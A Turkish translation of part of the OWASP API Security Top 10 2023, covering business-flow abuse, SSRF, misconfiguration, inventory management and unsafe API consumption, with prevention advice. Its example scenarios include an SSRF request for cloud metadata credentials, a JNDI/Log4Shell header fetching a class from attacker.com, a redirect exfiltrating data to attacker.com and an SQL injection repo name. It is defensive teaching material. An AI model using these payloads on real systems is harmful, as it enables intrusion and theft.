İstismar genellikle API tarafından desteklenen iş modelini anlamayı, hassas iş akışlarını bulmayı ve bu akışlara erişimi otomatikleştirerek işletmeye zarar vermeyi içerir.	İş gereksinimlerini tam olarak desteklemek için API'nin bütüncül bir görüşünün olmaması, bu sorunun yaygınlığına katkıda bulunma eğilimindedir. Saldırganlar, hedef iş akışına hangi kaynakların (örneğin: uç noktalar) dahil olduğunu ve bunların birlikte nasıl çalıştıklarını manuel olarak belirler. Azaltma mekanizmaları halihazırda yürürlükteyse, saldırganların bunları atlamanın bir yolunu bulması gerekir.	Genel olarak teknik etki beklenmemektedir. İstismar işletmeye farklı şekillerde zarar verebilir. Örneğin meşru kullanıcıların bir ürünü satın almasını engelleyebilir veya bir oyunun dahili ekonomisinde enflasyona yol açabilir.

API Savunmasız mı?

Bir API Uç Noktası oluştururken, hangi iş akışını ortaya çıkardığını anlamak önemlidir. Bazı iş akışları, bunlara aşırı erişimin işletmeye zarar verebileceği anlamında diğerlerinden daha hassastır.
Hassas iş akışlarına ve bunlarla ilişkili aşırı erişim riskine ilişkin yaygın örnekler:

- Bir ürün akışı satın alma- Saldırgan, yüksek talep gören bir ürünün tüm stokunu bir kerede satın alabilir ve daha yüksek bir fiyata yeniden satabilir (*scalping*)
- Bir yorum/yayın akışı oluşturma- bir saldırgan sisteme spam gönderebilir.
- Rezervasyon yapma- Saldırgan tüm kullanılabilir zaman dilimlerini ayırabilir ve diğer kullanıcıların sistemi kullanmasını engelleyebilir.
- Aşırı erişim riski sektörler ve işletmeler arasında değişebilir. Örneğin, gönderilerin bir komut dosyası tarafından oluşturulması, bir sosyal ağ tarafından spam riski olarak kabul edilebilirken, başka bir sosyal ağ tarafından teşvik edilebilir.

Bir API Uç Noktası, erişimi uygun şekilde kısıtlamadan hassas bir iş akışını açığa çıkarırsa savunmasızdır.

Örnek Saldırı Senaryoları

Senaryo #1
Bir teknoloji şirketi, Şükran Günü'nde yeni bir oyun konsolu çıkaracağını duyurur. Ürüne çok talep vardır ve stoklar sınırlıdır. Saldırgan, yeni ürünü otomatik olarak satın almak ve işlemi tamamlamak için kod yazar.
Yayın gününde, saldırgan, farklı IP adreslerine ve konumlarına dağıtılan kodu çalıştırır. API, uygun korumayı uygulamaz ve saldırganın hisse senedinin çoğunu diğer meşru kullanıcılardan önce satın almasına izin verir.
Daha sonra saldırgan ürünü başka bir platformda çok daha yüksek bir fiyata satar.

Senaryo #2

Bir havayolu şirketi, iptal ücreti ödemeden çevrimiçi bilet satın alma olanağı sunar. Kötü niyetli bir kullanıcı, istediği uçuşun koltuklarının %90'ını rezerve eder.
Uçuşa birkaç gün kala kötü niyetli kullanıcı tüm biletleri bir anda iptal etti ve bu da havayolunu uçuşu doldurmak için bilet fiyatlarında indirim yapmaya zorladı.
Bu noktada, kullanıcı kendisine orijinalinden çok daha ucuza tek bir bilet satın alır.

Senaryo #3

Yolculuk paylaşma uygulaması bir tavsiye programı sağlar- kullanıcılar arkadaşlarını davet edebilir ve uygulamaya katılan her arkadaş için kredi kazanabilir. Bu kredi daha sonra yolculuk rezervasyonu yapmak için nakit olarak kullanılabilir.
Saldırgan, kayıt sürecini otomatikleştirmek için bir komut dosyası yazarak ve her yeni kullanıcı kendi cüzdanına kredi ekleyerek bu akışı kullanır.
Daha sonra saldırgan ücretsiz sürüşlerin keyfini çıkarabilir veya aşırı kredili hesapları nakit karşılığında satabilir.

Nasıl Önlenir?

Azaltma planlaması iki aşamada yapılmalıdır:

- İş- aşırı kullanıldıklarında işletmeye zarar verebilecek iş akışlarını tanımlayın.
- Mühendislik- iş riskini azaltmak için doğru koruma mekanizmalarını seçin.
  Koruma mekanizmalarından bazıları daha basit iken bazılarının uygulanması daha zordur. Otomatik tehditleri yavaşlatmak için aşağıdaki yöntemler kullanılır.
- Cihaz parmak izi: Beklenmedik istemci cihazlarına (örn. başsız tarayıcılar) hizmet verilmemesi, tehdit aktörlerinin daha gelişmiş çözümler kullanmasına ve dolayısıyla onlar için daha maliyetli olma eğilimindedir.
- İnsan tespiti: *captcha* veya daha gelişmiş biyometrik çözümler kullanarak (örn. yazım kalıpları)
- İnsan dışı kalıplar: insan dışı kalıpları tespit etmek için kullanıcı akışını analiz edin (ör. kullanıcı, "sepete ekle" ve "satın alma işlemini tamamla" işlevlerine bir saniyeden daha kısa sürede erişti)
- Tor çıkış düğümlerinin ve iyi bilinen *proxy*'lerin IP adreslerini engellemeyi düşünün.

Doğrudan makineler tarafından tüketilen API'lere (geliştirici ve B2B API'leri gibi) erişimi güvenli hale getirin ve sınırlayın. Genellikle gerekli tüm koruma mekanizmalarını uygulamadıkları için saldırganlar için kolay bir hedef olma eğilimindedirler.

API7:2023 Sunucu Tarafı İstek Sahtekarlığı

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***genel***: Tespit Edilebilirlik ***kolay***	Teknik ***Ciddi***: İşletme Özelinde
İstismar, saldırganın istemci tarafından sağlanan bir URI'ye erişen bir API uç noktası bulmasını gerektirir. Genel olarak, temel SSRF'den (yanıt saldırgana geri gönderildiğinde), saldırganın saldırının başarılı olup olmadığına dair geri bildirim almadığı Blind SSRF'den yararlanmak daha kolaydır.	Uygulama geliştirmedeki modern kavramlar, geliştiricileri müşteri tarafından sağlanan URI'lere erişmeye teşvik eder.Bu tür URI'lerin olmaması veya uygunsuz şekilde doğrulanması yaygın sorunlardır. Sorunu tespit etmek için düzenli API istekleri ve yanıt analizi gerekecektir. Yanıt dönmediğinde (Blind SSRF) güvenlik açığını tespit etmek daha fazla çaba ve yaratıcılık gerektirir.	Başarılı bir istismar, dahili hizmetlerin numaralandırılmasına (ör. bağlantı noktası taraması), bilgilerin açığa çıkmasına, güvenlik duvarlarının atlanmasına veya diğer güvenlik mekanizmalarına yol açabilir. Bazı durumlarda, kötü amaçlı etkinlikleri gizlemek için DoS veya sunucunun proxy olarak kullanılmasına yol açabilir.

API Savunmasız mı?

Sunucu Tarafı İstek Sahtekarlığı (SSRF) kusurları, bir API, kullanıcı tarafından sağlanan URL'yi doğrulamadan uzak bir kaynağı getirirken ortaya çıkar.

Bir saldırganın, bir güvenlik duvarı veya VPN tarafından korunuyor olsa bile, uygulamayı beklenmedik bir hedefe hazırlanmış bir istek göndermeye zorlamasını sağlar.

Uygulama geliştirmedeki modern kavramlar, SSRF'yi daha yaygın ve daha tehlikeli hale getirir.

Daha yaygın olan şu kavramlar, geliştiricileri kullanıcı girişine dayalı olarak harici bir kaynağa erişmeye teşvik eder: *Web kancaları, URL'lerden dosya alma, özel SSO ve URL önizlemeleri.*

Daha tehlikeli- Bulut sağlayıcıları, *Kubernet*'ler ve *Docker* gibi modern teknolojiler, HTTP üzerinden yönetim ve kontrol kanallarını tahmin edilebilir, iyi bilinen yollara maruz bırakır. Bu kanallar, bir SSRF saldırısı için kolay bir hedeftir.

Modern uygulamaların bağlantılı yapısı nedeniyle, uygulamanızdan giden trafiği sınırlamak da daha zordur.

SSRF riski her zaman tamamen ortadan kaldırılamaz. Bir koruma mekanizması seçerken, iş risklerini ve ihtiyaçlarını göz önünde bulundurmak önemlidir.

Örnek Saldırı Senaryoları

Senaryo #1

Bir sosyal ağ, kullanıcıların profil resimleri yüklemesine olanak tanır. Kullanıcı, görüntü dosyasını kendi makinesinden yüklemeyi veya görüntünün URL'sini sağlamayı seçebilir. İkinciyi seçmek, aşağıdaki API çağrısını tetikleyecektir:

```
POST /api/profile/upload_picture
{
"picture_url": "http://example.com/profile_pic.jpg"
}
```

Saldırgan, API Uç Noktasını kullanarak kötü amaçlı bir URL gönderebilir ve dahili ağ içinde bağlantı noktası taraması başlatabilir.

```
{
"picture_url": "localhost:8080"
}
```

Yanıt süresine bağlı olarak saldırgan, bağlantı noktasının açık olup olmadığını anlayabilir.

Senaryo #2

Bir güvenlik ürünü, ağda anormallikler algıladığında olaylar oluşturur. Bazı ekipler olayları SIEM (Güvenlik Bilgileri ve Olay Yönetimi) gibi daha geniş, daha genel bir izleme sisteminde incelemeyi tercih eder. Bu amaçla ürün webhook kullanarak diğer sistemlerle entegrasyon sağlamaktadır.Yeni bir web kancasının oluşturulmasının bir parçası olarak, SIEM API'sinin URL'si ile birlikte bir GraphQL mutasyonu gönderilir.

```
POST /graphql [
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
 channelName: \"ch_piney\",
 notificationChannelConfig: {
 customWebhookChannelConfigs: [
 {
   url: \"http://www.siem-system.com/create_new_event\",
   send_test_req: true
 }
 ] } }){ channelId } }"
}
]
```

Oluşturma işlemi sırasında API arka ucu, sağlanan web kancası URL'sine bir test isteği gönderir ve yanıtı kullanıcıya sunar.

Saldırgan bu akıştan yararlanabilir ve API isteğini kimlik bilgilerini açığa çıkaran dahili bir bulut meta veri hizmeti gibi hassas bir kaynak haline getirebilir:

```
POST /graphql [
 { "variables": {},
 "query": "mutation{
   createNotificationChannel (input: {
    channelName: \"ch_piney\",
    notificationChannelConfig: {
     customWebhookChannelConfigs: [
      { url:\"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\",
        send_test_req: true
      }
 ] } })
{ channelId }
 } }
]
```

Uygulama, test isteğinden gelen yanıtı gösterdiğinden, saldırgan bulut ortamının kimlik bilgilerini görüntüleyebilir.

Nasıl Önlenir?

- Ağınızdaki kaynak alma mekanizmasını izole edin: genellikle bu özellikler dahili kaynakları değil, uzak kaynakları almayı amaçlar.
- Mümkün olduğunda, aşağıdaki izin listelerini kullanın:
- Uzak kaynaklar kullanıcılarının kaynakları (ör. Google Drive, Gravatar vb.) indirmeleri beklenir.
- URL şemaları ve bağlantı noktaları
- Belirli bir işlevsellik için kabul edilen ortam türleri
- HTTP yönlendirmelerini devre dışı bırakın.
- URL ayrıştırma tutarsızlıklarının neden olduğu sorunları önlemek için iyi test edilmiş ve bakımı yapılmış bir URL ayrıştırıcı kullanın.
- İstemci tarafından sağlanan tüm girdi verilerini doğrulayın ve sterilize edin.
- İstemcilere ham yanıtlar göndermeyin.

API8:2023 Güvenlik Yanlış Yapılandırması

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API'ye Özel: İstismar edilebilirlik ***kolay***	Yaygınlık ***yaygın***: Tespit Edilebilirlik ***kolay***	Teknik ***Ciddi***: İşletmeye Özel
Saldırganlar genellikle yamalanmamış hataları, ortak uç noktaları, güvensiz varsayılan yapılandırmalarla çalışan hizmetleri veya korumasız dosya ve dizinleri bularak sisteme izinsiz erişim elde etmeye veya sistemle ilgili bilgi elde etmeye çalışırlar. Bunların çoğu kamuoyunda bilinir ve bunlara yönelik saldırı yöntemleri olabilir.	Güvenliğin yanlış yapılandırılması, ağ seviyesinden uygulama seviyesine kadar API yığınının herhangi bir seviyesinde meydana gelebilir. Gereksiz hizmetler veya eskiden kalma seçenekler gibi yanlış yapılandırmaları tespit etmek ve bunlardan yararlanmak için otomatize araçlar mevcuttur.	Güvenlik yanlış yapılandırmaları yalnızca hassas kullanıcı verilerini değil, aynı zamanda sunucunun tamamen ele geçirilmesine yol açabilecek sistem ayrıntılarını da açığa çıkarır.

API Savunmasız mı?

API şu durumlarda savunmasız olabilir:

- API yığınının herhangi bir bölümünde uygun güvenlik sağlamlaştırması eksikse veya bulut hizmetlerinde yanlış yapılandırılmış izinler varsa,
- En son güvenlik yamaları eksik veya sistemler güncel değilse,
- Gereksiz özellikler etkinse (örn. HTTP fiilleri, günlük özellikleri),
- Gelen isteklerin HTTP sunucu zincirindeki sunucular tarafından işlenme biçiminde tutarsızlıklar varsa,
- Aktarım Katmanı Güvenliği (TLS) eksikse,
- Güvenlik veya önbellek kontrol yönergeleri istemcilere gönderilmezse,
- Bir Çapraz Kaynak Paylaşımı (CORS) ilkesi eksik veya yanlış ayarlanmışsa,
- Hata mesajları API yığın izleri içeriyor veya diğer hassas bilgileri açığa çıkarıyorsa,

API savunmasız olabilir.

Örnek Saldırı Senaryoları

Senaryo #1:

Bir API arka uç sunucusu (*back-end server*), her ikisi de varsayılan olarak etkin olan yer tutucu genişletme ve JNDI (Java Adlandırma ve Dizin Arayüzü) arama desteği ile popüler bir üçüncü taraf açık kaynak günlük yardımcı programı tarafından yazılan bir erişim günlüğünü tutar.

Her istek için, log dosyasına aşağıdaki kalıpla yeni bir giriş yazılır:

```
<method> <api_version>/<path> - <status_code>.
```

Kötü bir eylemci, erişim kaydı (access log) dosyasına yazılan aşağıdaki API isteğini gönderir:

```
GET /health
```

```
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
```

Günlük kayıt aracının güvensiz varsayılan yapılandırması ve genişletici bir ağ çıkış politikası nedeniyle, `X-Api-Version` istek başlığındaki değeri genişletirken, günlük kaydına karşılık gelen girişi yazmak için, kayıt aracı saldırganın uzaktan kontrol edilen sunucusundan `Malicious.class` nesnesini çekecek ve çalıştıracaktır.

Senaryo #2:

Bir sosyal ağ web sitesi, kullanıcıların özel sohbetleri sürdürebilmelerini sağlayan bir "Doğrudan Mesaj" özelliği sunar. Belirli bir sohbet için yeni mesajları almak için web sitesi aşağıdaki API isteğini gerçekleştirir (kullanıcı etkileşimi gerektirmez):

```
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
```

API yanıtı, Cache-Control HTTP yanıt başlığını içermediği için, özel sohbetler web tarayıcısı tarafından önbelleğe alınır ve kötü niyetli eylemcilerin bunları dosya sistemi içindeki tarayıcı önbellek dosyalarından almasına olanak sağlar.

Nasıl Önlenir?

API yaşam döngüsü şunları içermelidir:

- Doğru bir şekilde kilitlenmiş bir ortamın hızlı ve kolay dağıtımına yol açan tekrarlanabilir bir güçlendirme süreci,
- Tüm API yığını genelinde yapılandırmaları inceleme ve güncellemeye yönelik bir görev içermelidir.

Bu incelemede şunları bulundurmalıdır:

- Orkestrasyon dosyaları, API bileşenleri ve bulut hizmetleri (örn. S3 Bucket izinleri)
- Tüm ortamlardaki yapılandırma ve ayarların etkinliğini sürekli olarak değerlendirmek için otomatik bir süreç

Ayrıca:

- İçsel veya halka açık bir API olup olmadığına bakılmaksızın, istemciden API sunucusuna ve aşağı akış /yukarı akış bileşenlerine yönelik tüm API iletişimlerinin şifreli bir iletişim kanalı üzerinden gerçekleştiğinden emin olunmalıdır (TLS).
- Her bir API'ye hangi HTTP fiilleri ile erişilebileceği konusunda spesifik olunmalıdır
- (diğer tüm HTTP fiilleri devre dışı bırakılmalıdır (örn. HEAD).)

Tarayıcı tabanlı istemcilerden (örneğin, Web Uygulaması ön ucu) erişilmesi beklenen API'ler en azından aşağıdakileri içermelidir:

- Uygun bir Cross-Origin Resource Sharing (CORS) politikasının uygulanması
- Uygun Güvenlik Başlıklarının dahil edilmesi Gelen içerik türlerinin/veri biçimlerinin işletme/fonksiyonel gereksinimleri karşılayanlarla sınırlı olmasının sağlanması.
- http sunucusu zincirindeki tüm sunucuların (yük dengeleyicileri, ters ve ileri proxy'ler ve arka uç sunucular) gelen istekleri uyumlu bir şekilde işlemesini sağlamak için desenkronizasyon sorunlarını önlemek.
- Uygun olduğunda, istisna izleri ve diğer değerli bilgilerin saldırganlara geri gönderilmesini önlemek için tüm API yanıt veri şemalarının (hata yanıtları dahil) tanımlanması ve zorunlu hale getirilmesi.

API9:2023 Uygunsuz Envanter Yönetimi

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***yaygın***: Tespit Edilebilirlik ***Orta***	Teknik ***Orta***: İşletme Özelinde
Tehdit araçları genellikle eski API sürümleri veya yamalanmadan bırakılan ve daha zayıf güvenlik gereksinimleri kullanan uç noktalar aracılığıyla yetkisiz erişim elde eder. Bazı durumlarda açıklıklar mevcuttur. Alternatif olarak, veri paylaşmak için hiçbir neden olmayan bir 3. taraf aracılığıyla hassas verilere erişebilirler.	Güncel olmayan belgeler, güvenlik açıklarının bulunmasını ve/veya düzeltilmesini zorlaştırır. Varlık envanteri ve kullanım dışı bırakılmış stratejilerin eksikliği, yamalanmamış sistemlerin çalıştırılmasına yol açarak hassas verilerin sızmasına neden olur. Uygulamaların dağıtımını kolaylaştıran ve bağımsız hale getiren mikro hizmetler gibi modern kavramlar (örn. bulut bilişim, K8S) nedeniyle gereksiz yere açık API sunucuları bulmak yaygındır. Basit Google Dorking, DNS numaralandırması veya internete bağlı çeşitli sunucu türleri (web kameraları, yönlendiriciler, sunucular vb.) için özel arama motorları kullanmak hedefleri keşfetmek için yeterli olacaktır.	Saldırganlar hassas verilere erişim sağlayabilir, hatta sunucuyu ele geçirebilir. Bazen farklı API sürümleri/dağıtımları gerçek verilerle aynı veritabanına bağlanır. Tehdit ajanları, yönetim işlevlerine erişmek veya bilinen güvenlik açıklarından yararlanmak için eski API sürümlerinde bulunan kullanımdan kaldırılmış uç noktaları kullanabilir.

API Savunmasız mı?

API'lerin ve modern uygulamaların yayılmış ve bağlantılı yapısı yeni zorlukları da beraberinde getirmektedir. Kuruluşların yalnızca kendi API'lerini ve API uç noktalarını iyi anlamaları ve görünür kılmaları değil, aynı zamanda API'lerin verileri nasıl depoladığını veya harici üçüncü taraflarla nasıl paylaştığını da bilmeleri önemlidir.

Bir API'nin birden fazla sürümünü çalıştırmak, API sağlayıcısından ek yönetim kaynakları gerektirir ve saldırı yüzeyini genişletir.

Aşağıdaki durumlarda bir API'de "dokümantasyon kör noktası" vardır:

- Bir API sunucusunun amacı belirsizdir ve aşağıdaki sorulara belirgin yanıtlar yoktur:
  1. API hangi ortamda çalışıyor (örn. üretim, hazırlık, test, geliştirme)?
  2. API'ye kimlerin ağ erişimi olmalı (ör. genel, dahili, ortaklar)?
  3. Hangi API sürümü çalışıyor?
- Dokümantasyonun olmadığı veya mevcut dokümantasyonun güncellenmediği durumlar,
- Her API sürümü için bir kullanım sonlandırma planının olmadığı durumlar,
- Sunucunun envanteri eksik veya güncel olmadığı durumlar.

Hassas veri akışlarının görünürlüğü ve envanteri, üçüncü taraf tarafında bir ihlal olması durumunda olay müdahale planının bir parçası olarak önemli bir rol oynar.

Aşağıdaki durumlarda bir API'de "veri akışı kör noktası" vardır:

- API'nin hassas verileri üçüncü bir tarafla paylaştığı bir "hassas veri akışı" varsa ve
- Akışın işle ilgili bir gerekçesi veya onayı yoksa
- Akışın envanteri veya görünürlüğü yoksa
- Hangi tür hassas verilerin paylaşıldığına dair kapsamlı bir görünürlük yoksa.

Örnek Saldırı Senaryoları

Senaryo #1

Bir sosyal ağ, saldırganların parola sıfırlama tokenlerini tahmin etmek için brute-force kullanılmasını engelleyen bir rate limitleme mekanizması uyguladı. Bu mekanizma API kodunun bir parçası olarak değil, istemci ile resmi API (api.socialnetwork.owasp.org) arasında ayrı bir bileşen olarak uygulanmıştır. Bir araştırmacı, parola sıfırlama mekanizması da dahil olmak üzere aynı API'yi çalıştıran bir beta API sunucusu (beta.api.socialnetwork.owasp.org) buldu, ancak rate limitleme mekanizması yerinde değildi. Araştırmacı, 6 haneli tokeni tahmin etmek için basit brute-force kullanarak herhangi bir kullanıcının şifresini sıfırlayabilmiştir.

Senaryo #2

Bir sosyal ağ, bağımsız uygulama geliştiricilerinin kendisiyle entegre olmasına izin verir. Bu sürecin bir parçası olarak, sosyal ağın kullanıcının kişisel bilgilerini bağımsız uygulama ile paylaşabilmesi için son kullanıcıdan onay istenmektedir.

Sosyal ağ ve bağımsız uygulamalar arasındaki veri akışı yeterince kısıtlayıcı veya izlenebilir değildir, bu da bağımsız uygulamaların yalnızca kullanıcı bilgilerine değil, aynı zamanda tüm arkadaşlarının özel bilgilerine de erişmesine izin verir.

Bir danışmanlık firması kötü niyetli bir uygulama geliştirir ve 270.000 kullanıcının onayını almayı başarır. Uygulamadaki açık nedeniyle, danışmanlık firması 50.000.000 kullanıcının özel bilgilerine erişmeyi başarır. Daha sonra danışmanlık firması bu bilgileri kötü niyetli amaçlarla satar.

Nasıl Önlenir?

- Tüm API sunucularının envanterini çıkarın ve API ortamına (örn. üretim, hazırlık, test, geliştirme), sunucuya kimin ağ erişimi olması gerektiğine (örn. genel, dahili, ortaklar) ve API sürümüne odaklanarak her birinin önemli yönlerini belgeleyin.
- Entegre hizmetlerin dökümünü çıkarın ve sistemdeki rolleri, hangi verilerin değiş tokuş edildiği (veri akışı) ve hassasiyetleri gibi önemli hususları belgeleyin.
- API'nizin kimlik doğrulaması, hataları, yönlendirmeleri, rate limiting, cross-origin resource sharing (CORS) politikası ve; parametreleri, istekleri ve yanıtları dâhil uç noktaları gibi tüm yönlerini belgeleyin.
- Açık standartları kabul ederek belgeleri otomatik olarak oluşturun. Dokümantasyon derlemesini CI/CD pipeline'ınıza dahil edin.
- API dokümantasyonunu yalnızca API'yi kullanmaya yetkili kişilerin kullanımına sunun.
- Sadece mevcut üretim sürümü için değil, API'lerinizin tüm açık sürümleri için API güvenliğine özel çözümler gibi harici koruma önlemleri kullanın.
- Üretim verilerini üretim dışı API dağıtımları ile kullanmaktan kaçının. Bu kaçınılmazsa, bu uç noktalar üretim uç noktalarıyla aynı güvenlik işlemine tabi tutulmalıdır.
- API'lerin yeni sürümleri güvenlik iyileştirmeleri içerdiğinde, eski sürümler için gereken azaltma eylemlerini bildirmek için bir risk analizi gerçekleştirin. Örneğin, API uyumluluğunu bozmadan iyileştirmeleri geri aktarmanın mümkün olup olmadığı veya eski sürümü hızlı bir şekilde kaldırmanız ve tüm istemcileri en son sürüme geçmeye zorlamanız gerekip gerekmediği gibi.

API10:2023 API'lerin Güvensiz Tüketimi

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***yaygın*** : Tespit Edilebilirlik Orta	Teknik Ciddi: İşletme Özelinde
Bu sorunu istismar etmek, saldırganların hedef API'nin entegre olduğu diğer API'leri/hizmetleri tanımlamasını ve potansiyel olarak tehlikeye atmasını gerektirir. Genellikle bu bilgiler herkese açık değildir veya entegre API/hizmet kolayca istismar edilebilir değildir.	Geliştiriciler, aktarım güvenliği, kimlik doğrulama/yetkilendirme ve girdi doğrulama ve temizleme gibi daha zayıf güvenlik gereksinimlerine güvenerek harici veya üçüncü taraf API'lerle etkileşime giren uç noktalara güvenme ve bunları doğrulamama eğilimindedir. Saldırganların hedef API'nin entegre olduğu hizmetleri (veri kaynakları) tanımlaması ve nihayetinde bunları tehlikeye atması gerekir.	Etki, hedef API'nin çekilen verilerle ne yaptığına göre değişir. Başarılı bir istismar, hassas bilgilerin yetkisiz aktörlere ifşa edilmesine, birçok enjeksiyon türüne veya hizmet reddine yol açabilir.

API Savunmasız mı?

Geliştiriciler, üçüncü taraf API'lerden alınan verilere kullanıcı girdisinden daha fazla güvenme eğilimindedir. Bu durum özellikle tanınmış şirketler tarafından sunulan API'ler için geçerlidir. Bu nedenle geliştiriciler, örneğin girdi doğrulama ve temizleme konusunda daha zayıf güvenlik standartlarını benimseme eğilimindedir.

API şu durumlarda savunmasız olabilir:

- Şifrelenmemiş bir kanal üzerinden diğer API'lerle etkileşime giriyorsa;
- Diğer API'lerden toplanan verileri işlemeden veya aşağı akış bileşenlerine aktarmadan önce düzgün bir şekilde doğrulamıyor ve temizlemiyorsa;
- Yönlendirmeleri körü körüne takip ediyorsa;
- Üçüncü taraf hizmet yanıtlarını işlemek için mevcut kaynak sayısını sınırlamıyorsa;
- Üçüncü taraf hizmetlerle etkileşimler için zaman aşımları uygulamıyorsa

API savunmasız olabilir.

Örnek Saldırı Senaryoları

Senaryo #1

Bir API, kullanıcı tarafından sağlanan iş adreslerini zenginleştirmek için üçüncü taraf bir hizmete güvenir. Son kullanıcı tarafından API'ye bir adres verildiğinde, bu adres üçüncü taraf hizmetine gönderilir ve geri dönen veriler daha sonra yerel bir SQL özellikli veri tabanında saklanır.

Kötü niyetli kişiler, kendileri tarafından oluşturulan bir işletmeyle ilişkili bir SQLi yükünü depolamak için üçüncü taraf hizmetini kullanır. Ardından, üçüncü taraf hizmetinden "kötü niyetli işlerini" çekmesini sağlayan belirli bir girdi sağlayan savunmasız API'nin peşinden giderler. SQLi yükü veritabanı tarafından çalıştırılarak verileri saldırganın kontrolündeki sunucuya sızdırır.

Senaryo #2

Bir API, hassas kullanıcı tıbbi bilgilerini güvenli bir şekilde saklamak için üçüncü taraf bir hizmet sağlayıcı ile entegre olur. Veriler, aşağıdaki gibi bir HTTP isteği kullanılarak güvenli bir bağlantı üzerinden gönderilir:

```
POST /user/store_phr_record
{
 "genome": "ACTAGTAG__TTGADDAAIICCTT..."
}
```

Kötü niyetli kişiler üçüncü taraf API'sini tehlikeye atmanın bir yolunu buldu ve bir önceki gibi isteklere *308 Permanent Redirect (Kalıcı Yönlendirme)* ile yanıt vermeye başladı.

```
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
```

API üçüncü taraf yönlendirmelerini körü körüne takip ettiğinden, kullanıcının hassas verilerini içeren aynı isteği tekrarlayacak, ancak bu sefer saldırganın sunucusuna gidecektir.

Senaryo #3

Bir saldırgan *'; drop db;* -- adında bir git deposu hazırlayabilir.

Şimdi, saldırıya uğramış bir uygulamadan kötü amaçlı depo ile bir entegrasyon yapıldığında, SQL enjeksiyon yükü, deponun adının güvenli girdi olduğuna inanan bir SQL sorgusu oluşturan bir uygulamada kullanılır.

Nasıl Önlenir?

- Hizmet sağlayıcıları değerlendirirken, API güvenlik duruşlarını değerlendirin.
- Tüm API etkileşimlerinin güvenli bir iletişim kanalı (TLS) üzerinden gerçekleştiğinden emin olun.
- Entegre API'lerden alınan verileri kullanmadan önce her zaman doğrulayın ve uygun şekilde temizleyin.
- Entegre API'lerin sizi yönlendirebileceği iyi bilinen konumların bir izin listesini tutun: yönlendirmeleri körü körüne takip etmeyin.